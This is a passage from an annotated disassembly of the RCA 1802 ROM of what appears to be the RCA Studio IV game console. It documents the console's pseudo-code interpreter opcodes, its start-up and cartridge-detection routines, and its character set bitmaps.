BN4 R02BB ;02B7: 3F BB
B4 R02C5 ;02B9: 37 C5
R02BB
GLO RD ;02BB: 8D
BZ R02C1 ;02BC: 32 C1
DEC RD ;02BE: 2D
BR R02A8 ;02BF: 30 A8
R02C1
LDI 01H ;02C1: F8 01
SHR ;02C3: F6
SEP R3 ;02C4: D3
R02C5
GHI R4 ;02C5: 94
SHR ;02C6: F6
GLO RD ;02C7: 8D
SEP R3 ;02C8: D3
S02C9
LDI 0EAH ;02C9: F8 EA
PLO R6 ;02CB: A6
SEX R7 ;02CC: E7
OUT 2 ;02CD: 62
GHI R4 ;02CE: 94
PLO RD ;02CF: AD
BR R02AD ;02D0: 30 AD
; Opcode: Dxkk LD [27kk], Vx Load address [27kk] with Vx
OPCODED
GLO RF ;02D2: 8F
PLO R7 ;02D3: A7
LDN R6 ;02D4: 06
STR R7 ;02D5: 57
SEP R4 ;02D6: D4
; Opcode: Exkk LD Vx, [27kk] Load Vx with value on address [27kk]
GLO RF ;02D7: 8F
PLO R7 ;02D8: A7
LDN R7 ;02D9: 07
STR R6 ;02DA: 56
SEP R4 ;02DB: D4
; 02DC-02FE Studio IV Psuedo code, Start-up routine, initializing RAM and registers, continues on 04F0
DB 0FAH, 00H ; 02DC: LD VA, 00
DB 0FCH, 7EH ; 02DE: LD VC, 7E
DB 0FDH, 10H ; 02E0: LD VD, 10
DB 0F0H, 00H ; 02E2: LD V0, 00
DB 0F1H, 0D3H ; 02E4: LD V1, D3
DB 0F2H, 20H ; 02E6: LD V2, 20
DB 0F3H, 00H ; 02E8: LD V3, 00
DB 0F4H, 00H ; 02EA: LD V4, 00
DB 0F5H, 40H ; 02EC: LD V5, 40
DB 27H, 0F0H ; 02EE: LD I, 27F0
DB 50H, 0C5H ; 02F0: CP V0, V5, [I]
DB 0F0H, 0D1H ; 02F2: LD V0, D1
DB 0D0H, 0F9H ; 02F4: LD [27F9], V0
DB 0FFH, 00H ; 02F6: LD VF, 00
DB 0F6H, 00H ; 02F8: LD V6, 00
DB 0F9H, 00H ; 02FA: LD V9, 00
DB 04H, 0F0H ; 02FC: LD I, 04F0
DB 4BH, 0BBH ; 02FE: JP I
; Opcode: 5.n. Start routine, jump table on 00B0, jump on n.
OPCODE5
GHI R4 ;0300: 94
PHI RD ;0301: BD
LDI 0F4H ;0302: F8 F4
PLO RD ;0304: AD
GLO RF ;0305: 8F
SHR ;0306: F6
SHR ;0307: F6
SHR ;0308: F6
SHR ;0309: F6
SEX R6 ;030A: E6
ORI 0B0H ;030B: F9 B0
PLO RC ;030D: AC
LDN RC ;030E: 0C
PLO R3 ;030F: A3
; Opcode: 5xCy CP Vx, Vy, [I] copy value Vx until Vy to [I] until [I+y]
; CP Vx, Vy, I
R0310
LDN R6 ;0310: 06
STR RE ;0311: 5E
SEP RD ;0312: DD
S0313
BNZ R0310 ;0313: 3A 10
SEP R4 ;0315: D4
; Opcode: 5xDy CP [I], Vx, Vy copy value [I] until [I+y] to Vx until Vy
; CP I, Vx, Vy
R0316
LDN RE ;0316: 0E
STR R6 ;0317: 56
SEP RD ;0318: DD
S0319
BNZ R0316 ;0319: 3A 16
SEP R4 ;031B: D4
; Opcode: 5x1y SWITCH Vx, Vy,[I] Switch value [I] and onwards with Vx until Vy
; SWITCH Vx, Vy, I
R031C
LDN RE ;031C: 0E
PLO RF ;031D: AF
LDN R6 ;031E: 06
STR RE ;031F: 5E
GLO RF ;0320: 8F
STR R6 ;0321: 56
SEP RD ;0322: DD
S0323
BNZ R031C ;0323: 3A 1C
SEP R4 ;0325: D4
; Opcode: 5xEy LD [Vy], Vx [VyV(y+1)]=Vx
LDA R7 ;0326: 47
PHI RE ;0327: BE
LDN R7 ;0328: 07
PLO RE ;0329: AE
LDN R6 ;032A: 06
STR RE ;032B: 5E
SEP R4 ;032C: D4
DB 00H ;032D: 00
; Opcode: 5x3y JE I, Vx, Vy IF Vx=Vy THEN jump to I
; JE Vx, kk
LDN R7 ;032E: 07
XOR ;032F: F3
BNZ R0336 ;0330: 3A 36
R0332
GHI RE ;0332: 9E
PHI R5 ;0333: B5
GLO RE ;0334: 8E
PLO R5 ;0335: A5
R0336
SEP R4 ;0336: D4
; Opcode: 5x4y JU I, Vx, Vy IF Vx!=Vy THEN jump to I
LDN R7 ;0337: 07
XOR ;0338: F3
BNZ R0332 ;0339: 3A 32
SEP R4 ;033B: D4
; Opcode: 5xAy JG I, Vx, Vy IF Vx > Vy THEN jump to I
; JG Vx, Vy
LDN R7 ;033C: 07
XOR ;033D: F3
BZ R0344 ;033E: 32 44
LDN R7 ;0340: 07
SD ;0341: F5
BDF R0332 ;0342: 33 32
R0344
SEP R4 ;0344: D4
; Opcode: 5xBy JS I, Vx, Vy IF Vx < Vy THEN jump to I
; JS Vx, Vy
LDN R7 ;0345: 07
SD ;0346: F5
BNF R0332 ;0347: 3B 32
SEP R4 ;0349: D4
; Opcode: 5.8y JK I, Vy IF KEY Vy is pressed THEN jump to I
; JK Vy VA contains keypad (0 key pad player 1, 1 keypad player 2)
LDI 02H ;034A: F8 02
PHI RC ;034C: BC
LDI 0C9H ;034D: F8 C9
PLO RC ;034F: AC
SEP RC ;0350: DC
BNF R0332 ;0351: 3B 32
SEP R4 ;0353: D4
; Opcode: 5.9y JNK I, Vy IF KEY Vy not pressed THEN jump to I
; JNK Vy VA contains keypad (0 key pad player 1, 1 keypad player 2)
LDI 02H ;0354: F8 02
PHI RC ;0356: BC
LDI 0C9H ;0357: F8 C9
PLO RC ;0359: AC
SEP RC ;035A: DC
S035B
BDF R0332 ;035B: 33 32
SEP R4 ;035D: D4
DB 00H ;035E: 00
DB 00H ;035F: 00
; Opcode: 5.0. SYS I Call 1802 routine at address I, end routine with SEP R4
LDI 03H ;0360: F8 03
PHI RC ;0362: BC
LDI 67H ;0363: F8 67
PLO RC ;0365: AC
SEP RC ;0366: DC
S0367
GHI RE ;0367: 9E
PHI R3 ;0368: B3
GLO RE ;0369: 8E
PLO R3 ;036A: A3
SEP R3 ;036B: D3
; Opcode: 5x5y CLR Vx, Vy Store colour Vy (lowest 4 bit) in colour RAM
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
LDN R7 ;036C: 07
BR R0370 ;036D: 30 70
; Opcode: 5x6c CLR Vx, c Store colour c in colour RAM
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
GLO RF ;036F: 8F
R0370
ORI 0F0H ;0370: F9 F0
BR R0375 ;0372: 30 75
; Opcode: 5x7. DRWR I, Vx Draw pattern from [I] on screen and repeat the same pattern
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
; Opcode: 5x2. DRW I, Vx Draw patterns from [I] on screen
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
GHI R4 ;0374: 94
R0375
PHI RD ;0375: BD
LDI 0F0H ;0376: F8 F0
PLO R7 ;0378: A7
SEP R7 ;0379: D7
S037A
LDA R6 ;037A: 46
PLO RC ;037B: AC
LDN R6 ;037C: 06
PHI RC ;037D: BC
GLO RC ;037E: 8C
ANI 0FH ;037F: FA 0F
DEC R2 ;0381: 22
STR R2 ;0382: 52
SEX R2 ;0383: E2
LDI 20H ;0384: F8 20
PLO R6 ;0386: A6
GHI RD ;0387: 9D
BZ R038D ;0388: 32 8D
LDI 28H ;038A: F8 28
PLO R6 ;038C: A6
R038D
GHI RC ;038D: 9C
SHR ;038E: F6
SHR ;038F: F6
SHR ;0390: F6
SHR ;0391: F6
PLO RD ;0392: AD
GHI RC ;0393: 9C
SHL ;0394: FE
SHL ;0395: FE
SHL ;0396: FE
SHL ;0397: FE
SHL ;0398: FE
BNF R039D ;0399: 3B 9D
INC R6 ;039B: 16
INC R6 ;039C: 16
R039D
SHL ;039D: FE
BNF R03A1 ;039E: 3B A1
INC R6 ;03A0: 16
R03A1
ADD ;03A1: F4
PHI RC ;03A2: BC
GLO R6 ;03A3: 86
PHI R6 ;03A4: B6
GHI RC ;03A5: 9C
PLO R6 ;03A6: A6
GLO RF ;03A7: 8F
ANI 40H ;03A8: FA 40
PHI RF ;03AA: BF
GLO RC ;03AB: 8C
SHR ;03AC: F6
SHR ;03AD: F6
SHR ;03AE: F6
SHR ;03AF: F6
PLO RF ;03B0: AF
R03B1
GHI R6 ;03B1: 96
PHI R7 ;03B2: B7
GLO R6 ;03B3: 86
PLO R7 ;03B4: A7
GLO RD ;03B5: 8D
PHI RC ;03B6: BC
R03B7
LDI 04H ;03B7: F8 04
PLO RC ;03B9: AC
R03BA
GHI RD ;03BA: 9D
BNZ R03BE ;03BB: 3A BE
LDA RE ;03BD: 4E
R03BE
STR R7 ;03BE: 57
GLO R7 ;03BF: 87
ADI 10H ;03C0: FC 10
PLO R7 ;03C2: A7
DEC RC ;03C3: 2C
GLO RC ;03C4: 8C
BNZ R03BA ;03C5: 3A BA
GHI R7 ;03C7: 97
ADCI 00H ;03C8: 7C 00
ANI 2BH ;03CA: FA 2B
PHI R7 ;03CC: B7
GHI RF ;03CD: 9F
BZ R03D4 ;03CE: 32 D4
DEC RE ;03D0: 2E
DEC RE ;03D1: 2E
DEC RE ;03D2: 2E
DEC RE ;03D3: 2E
R03D4
GHI RC ;03D4: 9C
BZ R03DC ;03D5: 32 DC
SMI 01H ;03D7: FF 01
PHI RC ;03D9: BC
BR R03B7 ;03DA: 30 B7
R03DC
INC R6 ;03DC: 16
GLO R6 ;03DD: 86
ANI 0CFH ;03DE: FA CF
PLO R6 ;03E0: A6
GLO RF ;03E1: 8F
BZ R03E7 ;03E2: 32 E7
DEC RF ;03E4: 2F
BR R03B1 ;03E5: 30 B1
R03E7
INC R2 ;03E7: 12
SEP R4 ;03E8: D4
DB 00H ;03E9: 00
DB 00H ;03EA: 00
; Opcode: Axkk JE I, Vx, kk Jump to I if Vx = kk
S03EB
SEX R6 ;03EB: E6
GLO RF ;03EC: 8F
XOR ;03ED: F3
BZ R0332 ;03EE: 32 32
SEP R4 ;03F0: D4
; Opcode: Bxkk JNE I, Vx, kk Jump to I if Vx != kk
; JNE Vx, kk
S03F1
SEX R6 ;03F1: E6
GLO RF ;03F2: 8F
XOR ;03F3: F3
BNZ R0332 ;03F4: 3A 32
SEP R4 ;03F6: D4
DB 00H ;03F7: 00
; Opcode: 5xFy LD Vx, [Vy] Vx=[VyV(y+1)]
LDA R7 ;03F8: 47
PHI RE ;03F9: BE
LDN R7 ;03FA: 07
PLO RE ;03FB: AE
LDN RE ;03FC: 0E
STR R6 ;03FD: 56
SEP R4 ;03FE: D4
DB 00H ;03FF: 00
; Opcode: 6n.. Start routine, jump table on 00C0, jump on n.
OPCODE6
GHI RF ;0400: 9F
ORI 0C0H ;0401: F9 C0
PLO RC ;0403: AC
LDN RC ;0404: 0C
PLO R3 ;0405: A3
; Opcode: 62kk ADD I, kk Add kk to Low byte of I; no carry to high byte is done
LDI 0F7H ;0406: F8 F7
PLO R6 ;0408: A6
SEX R6 ;0409: E6
GLO RF ;040A: 8F
ADD ;040B: F4
STR R6 ;040C: 56
SEP R4 ;040D: D4
; Opcode: 63kk LD I, [27kk] LD I with high byte from [27kk] and low byte from [27kk+1]
; 63Ey LD I, Vy, Vy+1 LD I with high byte from Vy and low byte from Vy+1
LDI 0F6H ;040E: F8 F6
PLO R7 ;0410: A7
GLO RF ;0411: 8F
PLO R6 ;0412: A6
R0413
LDA R6 ;0413: 46
STR R7 ;0414: 57
INC R7 ;0415: 17
LDN R6 ;0416: 06
STR R7 ;0417: 57
SEP R4 ;0418: D4
; Opcode: 64kk LD [27kk], I LD I high byte to [27kk] and low byte to [27kk+1]
; 64Ey LD Vy, Vy+1, I LD Vy with high byte from I and Vy+1 with low byte from I
LDI 0F6H ;0419: F8 F6
PLO R6 ;041B: A6
GLO RF ;041C: 8F
PLO R7 ;041D: A7
BR R0413 ;041E: 30 13
; Opcode: 65kk JP kk Jump to kk in same page
GLO RF ;0420: 8F
PLO R5 ;0421: A5
SEP R4 ;0422: D4
DB 00H ;0423: 00
DB 63H, 00H ; 0424: LD I, [2700]
DB 50H, 0D5H ; 0426: CP [I], V0, V5
DB 62H, 06H ; 0428: ADD I, 06
DB 50H, 54H ; 042A: CLR V0, V4
DB 52H, 55H ; 042C: CLR V2, V5
DB 45H, 94H ; 042E: SHR V5, 4
DB 95H, 26H ; 0430: JNZ V5, 26
DB 65H, 0CEH ; 0432: JP CE
; Opcode: 69kk CALL I, kk Call subroutine on I, V9=kk, return with 6B.. (RET)
LDI 0E9H ;0434: F8 E9
PLO R6 ;0436: A6
GLO RF ;0437: 8F
STR R6 ;0438: 56
DEC R2 ;0439: 22
GLO R5 ;043A: 85
STR R2 ;043B: 52
DEC R2 ;043C: 22
GHI R5 ;043D: 95
STR R2 ;043E: 52
GHI RE ;043F: 9E
PHI R5 ;0440: B5
GLO RE ;0441: 8E
PLO R5 ;0442: A5
SEP R4 ;0443: D4
; Opcode: 6B.. RET Return from subrouting (any CALL)
LDA R2 ;0444: 42
PHI R5 ;0445: B5
LDA R2 ;0446: 42
PLO R5 ;0447: A5
SEP R4 ;0448: D4
; Opcode: 6A.. PUSH I Store value I on stack
DEC R2 ;0449: 22
GLO RE ;044A: 8E
STR R2 ;044B: 52
DEC R2 ;044C: 22
GHI RE ;044D: 9E
STR R2 ;044E: 52
SEP R4 ;044F: D4
; Opcode: 6C.. POP I Load I from stack
LDI 0F6H ;0450: F8 F6
PLO R6 ;0452: A6
LDA R2 ;0453: 42
STR R6 ;0454: 56
INC R6 ;0455: 16
LDA R2 ;0456: 42
STR R6 ;0457: 56
SEP R4 ;0458: D4
DB 00H ;0459: 00
; Opcode: 6E.y OUT4 Vy OUT 4 with value Vx, 0x27F4 = Vx
LDI 0F4H ;045A: F8 F4
PLO R6 ;045C: A6
SEX R6 ;045D: E6
LDN R7 ;045E: 07
STR R6 ;045F: 56
OUT 4 ;0460: 64
SEP R4 ;0461: D4
; Opcode: 6Fkk OUT4 kk OUT 4 with value kk, 0x27F4 = kk
LDI 0F4H ;0462: F8 F4
PLO R6 ;0464: A6
SEX R6 ;0465: E6
GLO RF ;0466: 8F
STR R6 ;0467: 56
OUT 4 ;0468: 64
SEP R4 ;0469: D4
; Opcode: 60kk CALL 10kk Call subroutine on 10kk, return with 6B.. (RET)
LDI 10H ;046A: F8 10
PHI RF ;046C: BF
R046D
DEC R2 ;046D: 22
GLO R5 ;046E: 85
STR R2 ;046F: 52
DEC R2 ;0470: 22
GHI R5 ;0471: 95
STR R2 ;0472: 52
GHI RF ;0473: 9F
PHI R5 ;0474: B5
GLO RF ;0475: 8F
PLO R5 ;0476: A5
SEP R4 ;0477: D4
; Opcode: 61kk CALL 11kk Call subroutine on 11kk, return with 6B.. (RET)
LDI 11H ;0478: F8 11
PHI RF ;047A: BF
BR R046D ;047B: 30 6D
; Opcode: 66kk CALL 06kk Call subroutine on 6kk, return with 6B.. (RET)
; Opcode: 67kk CALL 07kk Call subroutine on 7kk, return with 6B.. (RET)
; Opcode: 68kk CALL 08kk Call subroutine on 8kk, return with 6B.. (RET)
BR R046D ;047D: 30 6D
DB 00H ;047F: 00
DB 00H ;0480: 00
DB 0D5H ;0481: D5
DB 0BDH ;0482: BD
DB 0A9H ;0483: A9
DB 9FH ;0484: 9F
DB 96H ;0485: 96
DB 8EH ;0486: 8E
DB 7EH ;0487: 7E
DB 77H ;0488: 77
DB 70H ;0489: 70
DB 6AH ;048A: 6A
DB 5EH ;048B: 5E
DB 54H ;048C: 54
DB 4FH ;048D: 4F
DB 4BH ;048E: 4B
DB 46H ;048F: 46
DB 00H ;0490: 00
DB 02H ;0491: 02
DB 03H ;0492: 03
DB 04H ;0493: 04
DB 06H ;0494: 06
DB 08H ;0495: 08
DB 0CH ;0496: 0C
DB 10H ;0497: 10
DB 18H ;0498: 18
DB 20H ;0499: 20
DB 30H ;049A: 30
DB 40H ;049B: 40
DB 60H ;049C: 60
DB 80H ;049D: 80
DB 0C0H ;049E: C0
DB 0FFH ;049F: FF
; Opcode: 6D.. WAIT [I], kk WAIT with a value kk, using [I] towards a table on 049h and 048l where hl is
; the byte on [I]
LDI 0ECH ;04A0: F8 EC
PLO R6 ;04A2: A6
LDI 0EDH ;04A3: F8 ED
PLO R7 ;04A5: A7
R04A6
GHI R3 ;04A6: 93
PHI RC ;04A7: BC
LDN RE ;04A8: 0E
SHR ;04A9: F6
SHR ;04AA: F6
SHR ;04AB: F6
SHR ;04AC: F6
ORI 90H ;04AD: F9 90
PLO RC ;04AF: AC
LDN RC ;04B0: 0C
PHI RD ;04B1: BD
LDA RE ;04B2: 4E
ANI 0FH ;04B3: FA 0F
ORI 80H ;04B5: F9 80
PLO RC ;04B7: AC
LDN RC ;04B8: 0C
PLO RD ;04B9: AD
GLO RF ;04BA: 8F
BNZ R04BE ;04BB: 3A BE
SEP R4 ;04BD: D4
R04BE
DEC RF ;04BE: 2F
R04BF
LDN R7 ;04BF: 07
BNZ R04BF ;04C0: 3A BF
LDI 80H ;04C2: F8 80
R04C4
SMI 01H ;04C4: FF 01
BNZ R04C4 ;04C6: 3A C4
GHI RD ;04C8: 9D
STR R7 ;04C9: 57
GLO RD ;04CA: 8D
STR R6 ;04CB: 56
BR R04A6 ;04CC: 30 A6
DB 6AH, 00H ; 04CE: PUSH I
DB 66H, 0AH ; 04D0: POP V0-V9
DB 6BH, 00H ; 04D2: RET
DB 63H, 00H ; 04D4: LD I, [2700]
DB 64H, 0E2H ; 04D6: LD V2, V3, I
DB 63H, 0EH ; 04D8: LD I, [270E]
DB 56H, 0F2H ; 04DA: LD V6, [V2]
DB 56H, 0C6H ; 04DC: CP V6, V6, [I]
DB 73H, 01H ; 04DE: ADD V3, 01
DB 62H, 01H ; 04E0: ADD I, 01
DB 79H, 0FFH ; 04E2: ADD V9, FF
DB 99H, 0DAH ; 04E4: JNZ V9, DA
DB 64H, 00H ; 04E6: LD [2700], I
DB 63H, 0E2H ; 04E8: LD I, V2, V3
DB 65H, 0CEH ; 04EA: JP CE
DB 0F9H, 0FH ; 04EC: LD V9, 0F
DB 0F6H, 00H ; 04EE: LD V6, 00
; 04F0-04FD Studio IV Psuedo code, Initialize registers and continue on 05DE
DB 0FAH, 00H ; 04F0: LD VA, 00
DB 0F0H, 70H ; 04F2: LD V0, 70
DB 0F1H, 70H ; 04F4: LD V1, 70
DB 0F7H, 02H ; 04F6: LD V7, 02
DB 0F8H, 0FDH ; 04F8: LD V8, FD
DB 05H, 0DEH ; 04FA: LD I, 05DE
DB 4BH, 0BBH ; 04FC: JP I
DB 00H ;04FE: 00
DB 00H ;04FF: 00
;Character set address table
DB 0A7H ;0500: A7 - 0 05A7
DB 39H ;0501: 39 - 1 0539
DB 44H ;0502: 44 - 2 0544
DB 0ABH ;0503: AB - 3 05AB
DB 85H ;0504: 85 - 4 0585
DB 0AFH ;0505: AF - 5
DB 46H ;0506: 46 - 6
DB 96H ;0507: 96 - 7
DB 48H ;0508: 48 - 8
DB 42H ;0509: 42 - 9
DB 4AH ;050A: 4A - A
DB 0B7H ;050B: B7 - B
DB 8EH ;050C: 8E - C
DB 0BBH ;050D: BB - D
DB 92H ;050E: 92 - E
DB 0BFH ;050F: BF - F
DB 3EH ;0510: 3E - G
DB 55H ;0511: 55 - H
DB 0A3H ;0512: A3 - I
DB 98H ;0513: 98 - J
DB 30H ;0514: 30 - K
DB 9FH ;0515: 9F - L
DB 52H ;0516: 52 - M
DB 0C4H ;0517: C4 - N
DB 0A7H ;0518: A7 - O
DB 9CH ;0519: 9C - P
DB 0C9H ;051A: C9 - Q
DB 0CEH ;051B: CE - R
DB 0AFH ;051C: AF - S
DB 68H ;051D: 68 - T
DB 4DH ;051E: 4D - U
DB 5DH ;051F: 5D - V
DB 58H ;0520: 58 - W
DB 5FH ;0521: 5F - X
DB 63H ;0522: 63 - Y
DB 0B3H ;0523: B3 - Z
DB 35H ;0524: 35 - ?
DB 6AH ;0525: 6A - !
DB 80H ;0526: 80 - @
DB 78H ;0527: 78 - -
DB 66H ;0528: 66 - +
DB 70H ;0529: 70 - divide
DB 6DH ;052A: 6D - :
DB 0D3H ;052B: D3 - /
DB 8AH ;052C: 8A - $
DB 7CH ;052D: 7C - =
DB 0D8H ;052E: D8 - #
DB 75H ;052F: 75 - space
Character set 0530-05dC
DB 88H ;0530: 88 X...X K
DB 90H ;0531: 90 X..X.
DB 0E0H ;0532: E0 XXX..
DB 90H ;0533: 90 X..X.
DB 88H ;0534: 88 X...X
DB 70H ;0535: 70 .XXX. ?
DB 88H ;0536: 88 X...X
DB 10H ;0537: 10 ...X.
DB 20H ;0538: 20 ..X..
DB 20H ;0539: 20 ..X.. 1
DB 60H ;053A: 60 .XX..
DB 20H ;053B: 20 ..X..
DB 20H ;053C: 20 ..X..
DB 70H ;053D: 70 .XXX.
DB 0F8H ;053E: F8 XXXXX G
DB 80H ;053F: 80 X....
DB 98H ;0540: 98 X..XX
DB 88H ;0541: 88 X...X
DB 0F8H ;0542: F8 XXXXX 9
DB 88H ;0543: 88 X...X
DB 0F8H ;0544: F8 XXXXX 2
DB 08H ;0545: 08 ....X
DB 0F8H ;0546: F8 XXXXX 6
DB 80H ;0547: 80 X....
DB 0F8H ;0548: F8 XXXXX 8
DB 88H ;0549: 88 X...X
DB 0F8H ;054A: F8 XXXXX A
DB 88H ;054B: 88 X...X
DB 0F8H ;054C: F8 XXXXX
DB 88H ;054D: 88 X...X U
DB 88H ;054E: 88 X...X
DB 88H ;054F: 88 X...X
DB 88H ;0550: 88 X...X
DB 0F8H ;0551: F8 XXXXX
DB 0D8H ;0552: D8 XX.XX M
DB 0F8H ;0553: F8 XXXXX
DB 0A8H ;0554: A8 X.X.X
DB 88H ;0555: 88 X...X H
DB 88H ;0556: 88 X...X
DB 0F8H ;0557: F8 XXXXX
DB 88H ;0558: 88 X...X W
DB 88H ;0559: 88 X...X
DB 0A8H ;055A: A8 X.X.X
DB 0F8H ;055B: F8 XXXXX
DB 0D8H ;055C: D8 XX.XX
DB 88H ;055D: 88 X...X V
DB 88H ;055E: 88 X...X
DB 88H ;055F: 88 X...X X
DB 50H ;0560: 50 .X.X.
DB 20H ;0561: 20 ..X..
DB 50H ;0562: 50 .X.X.
DB 88H ;0563: 88 X...X Y
DB 88H ;0564: 88 X...X
DB 0F8H ;0565: F8 XXXXX
DB 20H ;0566: 20 ..X.. +
DB 20H ;0567: 20 ..X..
DB 0F8H ;0568: F8 XXXXX T
DB 20H ;0569: 20 ..X..
DB 20H ;056A: 20 ..X.. !
DB 20H ;056B: 20 ..X..
DB 20H ;056C: 20 ..X..
DB 00H ;056D: 00 ..... :
DB 20H ;056E: 20 ..X..
DB 00H ;056F: 00 .....
DB 20H ;0570: 20 ..X.. divide
DB 00H ;0571: 00 .....
DB 0F8H ;0572: F8 XXXXX
DB 00H ;0573: 00 .....
DB 20H ;0574: 20 ..X.. '
DB 00H ;0575: 00 ..... space
DB 00H ;0576: 00 .....
DB 00H ;0577: 00 .....
DB 00H ;0578: 00 ..... -
DB 00H ;0579: 00 .....
DB 0F8H ;057A: F8 XXXXX
DB 00H ;057B: 00 .....
DB 00H ;057C: 00 ..... =
DB 0F8H ;057D: F8 XXXXX
DB 00H ;057E: 00 .....
DB 0F8H ;057F: F8 XXXXX
DB 00H ;0580: 00 ..... @
DB 70H ;0581: 70 .XXX.
DB 70H ;0582: 70 .XXX.
DB 70H ;0583: 70 .XXX.
DB 00H ;0584: 00 .....
DB 10H ;0585: 10 ...X. 4
DB 90H ;0586: 90 X..X.
DB 0F8H ;0587: F8 XXXXX
DB 10H ;0588: 10 ...X.
DB 10H ;0589: 10 ...X.
DB 0F8H ;058A: F8 XXXXX $
DB 0A0H ;058B: A0 X.X..
DB 0F8H ;058C: F8 XXXXX
DB 28H ;058D: 28 ..X.X
DB 0F8H ;058E: F8 XXXXX C
DB 80H ;058F: 80 X....
DB 80H ;0590: 80 X....
DB 80H ;0591: 80 X....
DB 0F8H ;0592: F8 XXXXX E
DB 80H ;0593: 80 X....
DB 0F0H ;0594: F0 XXXX.
DB 80H ;0595: 80 X....
DB 0F8H ;0596: F8 XXXXX 7
DB 08H ;0597: 08 ....X
DB 08H ;0598: 08 ....X J
DB 08H ;0599: 08 ....X
DB 08H ;059A: 08 ....X
DB 88H ;059B: 88 X...X
DB 0F8H ;059C: F8 XXXXX P
DB 88H ;059D: 88 X...X
DB 0F8H ;059E: F8 XXXXX
DB 80H ;059F: 80 X.... L
DB 80H ;05A0: 80 X....
DB 80H ;05A1: 80 X....
DB 80H ;05A2: 80 X....
DB 0F8H ;05A3: F8 XXXXX I
DB 20H ;05A4: 20 ..X..
DB 20H ;05A5: 20 ..X..
DB 20H ;05A6: 20 ..X..
DB 0F8H ;05A7: F8 XXXXX O / 0
DB 88H ;05A8: 88 X...X
DB 88H ;05A9: 88 X...X
DB 88H ;05AA: 88 X...X
DB 0F8H ;05AB: F8 XXXXX 3
DB 08H ;05AC: 08 ....X
DB 38H ;05AD: 38 ..XXX
DB 08H ;05AE: 08 ....X
DB 0F8H ;05AF: F8 XXXXX S / 5
DB 80H ;05B0: 80 X....
DB 0F8H ;05B1: F8 XXXXX
DB 08H ;05B2: 08 ....X
DB 0F8H ;05B3: F8 XXXXX Z
DB 10H ;05B4: 10 ...X.
DB 20H ;05B5: 20 ..X..
DB 40H ;05B6: 40 .X...
DB 0F8H ;05B7: F8 XXXXX B
DB 48H ;05B8: 48 .X..X
DB 78H ;05B9: 78 .XXXX
DB 48H ;05BA: 48 .X..X
DB 0F8H ;05BB: F8 XXXXX D
DB 48H ;05BC: 48 .X..X
DB 48H ;05BD: 48 .X..X
DB 48H ;05BE: 48 .X..X
DB 0F8H ;05BF: F8 XXXXX F
DB 80H ;05C0: 80 X....
DB 0F0H ;05C1: F0 XXXX.
DB 80H ;05C2: 80 X....
DB 80H ;05C3: 80 X....
DB 0C8H ;05C4: C8 XX..X N
DB 0C8H ;05C5: C8 XX..X
DB 0A8H ;05C6: A8 X.X.X
DB 98H ;05C7: 98 X..XX
DB 98H ;05C8: 98 X..XX
DB 70H ;05C9: 70 .XXX. Q
DB 88H ;05CA: 88 X...X
DB 88H ;05CB: 88 X...X
DB 98H ;05CC: 98 X..XX
DB 78H ;05CD: 78 .XXX.
DB 0F8H ;05CE: F8 XXXXX R
DB 88H ;05CF: 88 X...X
DB 0F8H ;05D0: F8 XXXXX
DB 90H ;05D1: 90 X..X.
DB 88H ;05D2: 88 X...X
DB 08H ;05D3: 08 ....X /
DB 10H ;05D4: 10 ...X.
DB 20H ;05D5: 20 ..X..
DB 40H ;05D6: 40 .X...
DB 80H ;05D7: 80 X....
DB 50H ;05D8: 50 .X.X. #
DB 0F8H ;05D9: F8 XXXXX
DB 50H ;05DA: 50 .X.X.
DB 0F8H ;05DB: F8 XXXXX
DB 50H ;05DC: 50 .X.X.
; 05DE-05FB Check on presence of cartridges on 0800 or 1000
DB 99H, 0F4H ; 05DE: JNZ V9, F4
DB 66H, 9AH ; 05E0: CALL 69A
DB 10H, 00H ; 05E2: LD I, 1000
DB 55H, 0D5H ; 05E4: CP [I], V5, V5
DB 10H, 02H ; 05E6: LD I, 1002
DB 0A5H, 0AAH ; 05E8: JE I, V5, AA
DB 08H, 00H ; 05EA: LD I, 0800
DB 55H, 0D5H ; 05EC: CP [I], V5, V5
DB 08H, 02H ; 05EE: LD I, 0802
DB 0A5H, 0AAH ; 05F0: JE I, V5, AA
DB 65H, 0DEH ; 05F2: JP DE
DB 9FH, 0E2H ; 05F4: JNZ VF, E2
DB 79H, 0FFH ; 05F6: ADD V9, FF
DB 0FFH, 0FFH ; 05F8: LD VF, FF
DB 65H, 0E2H ; 05FA: JP E2
; 05FC-05FF 'FILL' character, used to fill the screen with FF during the demo
DB 0FFH ;05FC: FF
DB 0FFH ;05FD: FF
DB 0FFH ;05FE: FF
DB 0FFH ;05FF: FF
; 0600-0609 PUSH V0-V9
; Save V0 to V9 on 2702-270B
DB 64H, 00H ; 0600: LD [2700], I
DB 27H, 02H ; 0602: LD I, 2702
DB 50H, 0C9H ; 0604: CP V0, V9, [I]
DB 63H, 00H ; 0606: LD I, [2700]
DB 6BH, 00H ; 0608: RET
; 060A-0611 POP V0-V9
; Load V0 to V9 from 2702-270B
DB 64H, 00H ; 060A: LD [2700], I
DB 27H, 02H ; 060C: LD I, 2702
DB 50H, 0D9H ; 060E: CP [I], V0, V9
DB 65H, 06H ; 0610: JP 06
; 0612-0625 SCR CLS or CLS
; Print 8*4 pattern from 0575-0578 (zeros) on screen with DRWR I, Vx, address following subroutine call contains:
; byte 1: Vx value
; byte 2: Vx+1 value
DB 66H, 00H ; 0612: PUSH V0-V9
DB 0F3H, 75H ; 0614: LD V3, 75
DB 6CH, 00H ; 0616: POP I
DB 50H, 0D1H ; 0618: CP [I], V0, V1
DB 62H, 02H ; 061A: ADD I, 02
DB 6AH, 00H ; 061C: PUSH I
DB 05H, 00H ; 061E: LD I, 0500
DB 0D3H, 0F7H ; 0620: LD [27F7], V3
DB 50H, 70H ; 0622: DRWR I, V0
DB 65H, 0CH ; 0624: JP 0C
; 0626-062B SCR FILL
; Print 8*4 pattern from 05FC-05FF (#ff) on screen with DRWR I, Vx, address following subroutine call contains:
; byte 1: Vx value
; byte 2: Vx+1 value
DB 66H, 00H ; 0626: PUSH V0-V9
DB 0F3H, 0FCH ; 0628: LD V3, FC
